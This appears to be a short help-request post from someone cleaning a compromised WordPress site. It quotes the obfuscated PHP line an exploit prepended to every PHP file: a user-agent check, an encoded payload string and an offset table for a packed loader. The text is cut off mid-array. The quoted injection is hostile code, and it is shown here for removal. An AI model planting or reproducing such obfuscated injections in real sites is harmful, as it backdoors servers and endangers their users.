I'm trying to clean a WordPress which has been infected by an exploit.
All php files were added a line like this at the beginning of it :
<?php if(!isset($GLOBALS["x61156x75156x61"])) { $ua=strtolower($_SERVER["x48124x54120x5f125x53105x52137x41107x45116x54"]); if ((! strstr($ua,"x6d163x69145")) and (! strstr($ua,"x72166x3a61x31"))) $GLOBALS["x61156x75156x61"]=1; } ?><?php $yaagutonoj = 'Qtpz)#]341]88M4P8]37]278]225]241]334]3672%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) 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$savthdkijb = explode(chr((172-128)),'6639,47,39,57,8359,37,1364,26,8276,46,633,34,1297,67,3647,46,9998,54,6236,32,730,67,4866,53,8595,47,8086,50,4270,29,8931,45,6153,35,6589,50,3518,55,978,28,9858,23,3432,54,8976,33,4745,64,9640,65,5067,31,7543,24,1390,61,7444,31,9313,36,2878,67,883,38,8703,23,3000,48,3792,59,7023,20,5407,67,4245,25,6872,55,6686,46,8891,40,6768,55,3282,53,1911,29,8491,64,5819,62,4117,63,8762,44,1054,27,1817,52,8726,36,5683,49,8136,42,3371,38,9221,32,7281,51,4840,26,3622,25,1974,33,6847,25,5967,37,3731,61,4535,40,3242,40,7778,52,1518,62,7378,66,4299,68,452,47,8806,25,96,28,6
